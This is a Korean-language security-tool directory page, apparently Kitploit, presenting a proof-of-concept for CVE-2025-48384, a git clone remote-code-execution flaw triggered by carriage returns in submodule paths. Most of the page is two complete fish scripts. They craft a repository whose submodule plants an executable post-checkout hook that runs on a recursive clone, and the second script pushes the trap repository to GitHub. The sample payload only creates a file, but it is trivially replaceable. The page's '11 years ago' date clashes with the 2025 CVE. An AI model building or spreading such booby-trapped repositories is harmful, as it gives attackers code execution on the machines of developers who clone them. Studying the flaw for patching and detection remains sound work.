Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-48384 — CVE-2025-48384 재현 스크립트로, 서브모듈 경로의 캐리지 리턴을 통한 git clone RCE 취약점을 시연하고 로컬 테스트 환경을 제공합니다. | Kitploit
도구/GitHubGitHub/arun1033/cve-2025-48384
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubarun1033/cve-2025-48384

CVE-2025-48384

CVE-2025-48384 재현 스크립트로, 서브모듈 경로의 캐리지 리턴을 통한 git clone RCE 취약점을 시연하고 로컬 테스트 환경을 제공합니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-48384: 캐리지 리턴으로 git 깨기 및 클론 RCE

https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 에서 재현. 모든 크레딧은 David Leadbeater에게 있습니다.

이것은 해당 취약점에 대한 기본적인 재현 시도입니다.

트리거하려면 취약한 git 버전에서 git clone --recursive https://github.com/acheong08/CVE-2025-48384을 실행하면 /tmp/fishsucks 파일이 갑자기 생성된 것을 확인할 수 있습니다.

저는 git 버전 2.50.0에서 재현할 수 있었습니다.

다음은 로컬에서 테스트하는 데 사용한 스크립트입니다.

root@kitploit:~
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone

Github에 푸시하기 위해 수정한 스크립트:

root@kitploit:~
#!/usr/bin/fish
if not test -d sub
    git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
    git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
도구 다운로드